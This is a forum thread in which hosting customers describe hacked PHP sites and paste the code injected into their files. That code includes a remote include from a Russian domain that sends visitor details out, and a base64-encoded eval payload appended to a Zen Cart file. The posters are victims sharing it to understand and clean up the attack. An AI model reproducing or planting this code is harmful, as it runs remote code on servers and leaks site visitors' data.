![]() |
|
|||||||
| Computer Help Having problems with your computer hardware or software? Anything related to building, upgrading, repairing and maintaining your PC should be discussed here. |
![]() |
|
|
LinkBack | Thread Tools | Display Modes |
|
|||
|
Gallery got hacked, need help decyphering code
So, I went in to zip up all my images, and I found these odd files. Upon checking the .htaccess, and running a decode64 on the base64 codes... these are definintly malicious files. The files were mostly found in my images directory (which makes sense, as images are directly uploaded by a script and put there). Can anyone help me figure out how they did this? I'll put the various other scripts (hand coded, mostly) in a followup post. Oh, and the base64 stuff decodes to http://bis.iframe.ru/master.php?r_addr=.
PHP Code:
|
|
|||
|
You can find my sources at http://gallery.hinome.net/temp, I've removed passwords, but that's all I should need to do for security I guess.
|
|
|||
|
Wow, I have a very similar problem with my Wordpress installation on karmacube.com and lostblog.net.
When I checked out my sites today they where blank, so I whent to the Wordpress admin pages. There I got the message "your databases are out of date, please update." I had no idea why my databases would be outdated but I figured it was a legitimate message so I clicked upgrade. It looked like wordpress upgraded and the site looked fine again, except for changes in my css file and a link to "download iso buster" in the footer of lostblog.net. I also found the following code in all the files in my wordpress template: The code i get is Code:
< ?php get_archives('postbypost','5','html');
error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ?
$_SERVER["HTTP_HOST"] : $HTTP_HOST);
$b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] :
$SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ?
$_SERVER["REQUEST_URI"] : $REQUEST_URI);
$g=(isset($_SERVER["HTTP_USER_AGENT"]) ?
$_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
$h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] :
$REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ?
$_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str))){}
else {include_once(base64_decode("aHR0cDovLw==").base64_decode("dXNlcjcucGhwaW5jbHVkZS5ydQ==")."/?".$str);}
? >
I've opened two tickets but Micfo support have not answered for hours... I really want to get this sorted out as soon as possible, and I'm sure Fireye feels the same. |
|
|||
|
Quote:
Your base64 decodes to user7.phpinclude.ru, so slightly different than mine, but the same general idea. What server are you on? I think it's possible for phpBB vulnerabilities to allow cross-user hacking. |
|
|||
|
I was on Thailand before the migration, I'm not sure which one I'm at right now.
Edit: It appears I'm on rothwell.micfo.com now If this is realated to russian domains, I wouldn't discard that it has something to do with the guy who is blackmailing me.. he is russian from what I understand. I have the domain neverday.net and never registered neverday.com when it became available. So then this guy came along and registered .com with the only purpose to try to make me pay him for it. He wants a $99 .mac account in exchange for it. I know this guy from before since he has stolen designs and content from me and my friends in the past. He is banned for life on two graphic forums for these reasons. Now, I can't prove he is behind this, but as I said, I wouldn't discard it. Still no answer from the support by the way.. Last edited by Andreas Climent; 01-13-2006 at 01:28 PM. |
|
|||
|
Quote:
|
|
|||
|
I too am on rothwell and suffered the same problem, but with a zen cart installation. It looks like the problem has also hit somebody's oscommerce setup and joomla.
|
|
|||
|
I am having the same problem with my gallery and also found those .htaccess files. My gallery comes up blank too. Simply removing the .htaccess files didn't work (yes, I really had hoped it would be that easy
) I am on tara as far as I know.
|
|
|||
|
Okay I "fixed" my gallery at least. All files that were manipulated were changed on Jan 18th so I checked them all and removed the code. Mostly header and footer files. They had javascripts and links to other sites in them that appeared like product links. It wasn't just my gallery as I thought so I am going through everything else right now.
Only...how do I prevent this from happening again ? How can someone get to my files and change them ? I am not really THAT good with scripts and so forth to know what to do now....Help ? Micfo ? |
|
|||
|
|||
|
Joomla: http://secunia.com/advisories/18513/
ZenCart: http://secunia.com/search/?search=zen+cart&w=0 Coppermine: http://secunia.com/search/?search=coppermine Hey gang, if you are using any of the third party Fantastico addons, it is well worth your while to register with the folks that produce those add-ons. Sign up for email alerts. I know phpbb has been good about letting their users know about possible vulnerabilities and it's saved my butt, too. If you're not on the lists, though, you might not find out about a problem until it is too late. -eternaluxe |
|
|||
|
zen cart hacked
somebody hacked up mine real bad. i did not have the directory permissions set either, but i do not think this was the entire problem. this zen-cart hack is probably popular amongst these lowlife vampires. what they did was modify a bunch of my files, but mainly "application_bottom.php", resulted in tags to illegal websites selling drugs being placed at the bottom of ALL of my pages in zen-cart! but not where i had access to edit. only when googlebot (and probably others) scanned my pages these tags were appended. i had a bunch of this crap code in a bunch of my php files. here is "application_bottom"
<?php /** * application_bottom.php * Common actions carried out at the end of each page invocation. * * @package initSystem * @copyright Copyright 2003-2006 Zen Cart Development Team * @copyright Portions Copyright 2003 osCommerce * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0 * @version $Id: application_bottom.php 5658 2007-01-21 19:39:51Z wilt $ */ if (!defined('IS_ADMIN_FLAG')) { die('Illegal Access'); } // close session (store variables) session_write_close(); // breaks things // pconnect disabled (safety switch) // $db->close(); if ( (GZIP_LEVEL == '1') && ($ext_zlib_loaded == true) && ($ini_zlib_output_compression < 1) ) { if ( (PHP_VERSION < '4.0.4') && (PHP_VERSION >= '4') ) { zen_gzip_output(GZIP_LEVEL); } } ?><?php eval(base64_decode('DQokXzQzOWVjMWNiMGYxNjU2YzY2MT dmNDFkODhjZjk0ODMwID0gY2hyKDExNSkuY2hyKDExNykuY2hy KDk4KS5jaHIoMTE1KS5jaHIoMTE2KS5jaHIoMTE0KTsNCiRfMj kzODI5N2RhM2I5YTgzNDAzMDcwNWIzYWE1OWQ5M2EgPSBjaHIo MTA5KS5jaHIoMTAwKS5jaHIoNTMpOw0KJF9iYTMwNDI4YjZjMD Q5MjA4YTc2NjU3YzY0ODBiN2RkZiA9IGNocigxMDIpLmNocigx MTUpLmNocigxMTEpLmNocig5OSkuY2hyKDEwNykuY2hyKDExMS kuY2hyKDExMikuY2hyKDEwMSkuY2hyKDExMCk7DQokX2VjYWE3 NTk2Yj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ZjFlZSkgew0KICAgIGlmKCRfMWQz NDJiYzhhODk5MGFhZTFlZDI5YjUyZmQ1MTMzOGMoJF9mNDFiOG E3ZWVjOWUxMzMzOWQyN2Q2Zjg2MTkzYmRjNCxjaHIoNDUpLmNo cig0NSkuY2hyKDQ1KS5jaHIoNDUpLmNocig0NSkpKXsNCiAgIC AgYnJlYWs7DQogICAgfQ0KICAgIGVjaG8oJF9mNDFiOGE3ZWVj OWUxMzMzOWQyN2Q2Zjg2MTkzYmRjNCk7IA0KICAgfQ0KICAgaW YoJF8xZDM0MmJjOGE4OTkwYWFlMWVkMjliNTJmZDUxMzM4Yygk X2Y0MWI4YTdlZWM5ZTEzMzM5ZDI3ZDZmODYxOTNiZGM0LGNoci g0NSkuY2hyKDQ1KS5jaHIoNDUpLmNocig0NSkuY2hyKDQ1KSkp IHsNCiAgICAkX2ZjNWM5NDYyZTVlNzhhOTNiZGU3ZGYzMTgyZD JmMWVlPTE7DQogICAgY29udGludWU7DQogICB9DQogIH0NCiAg aWYoJF9mYzVjOTQ2MmU1ZTc4YTkzYmRlN2RmMzE4MmQyZjFlZS kNCiAgIGJyZWFrOw0KIH0NCn0=')); ?> What happened to my site seems alot more complex than what was mentioned by others here. Only a line or two of this code in other files but look at all that in mine! It had a rotating gallery of illegal sites connected to every single page, jeez that does not look good for my site anyway. i think i have it mostly fixed, but only by running the utility "winmerge" comparing every php file from the original source code to my current files, then replacing them one by one. they got over 20 files appended with tags like that. even had modified a file in the root directory of my host, i dont know how they did that but it had the same tags in it. i set the permissions on all my files after replacing them and changed my hosting password, changed my admin password (they had replaced the name of my site through my admin with a bunch of garbage after the actual name), thought i locked everything down. but i checked it today (fixed things 2 days ago) and the same file application_bottom.php had been manipulated again! thankfully no others though. i changed the permission *again* on the directory. I dont know how they are doing it but it seems to be a popular business these days. thats my story anyway. |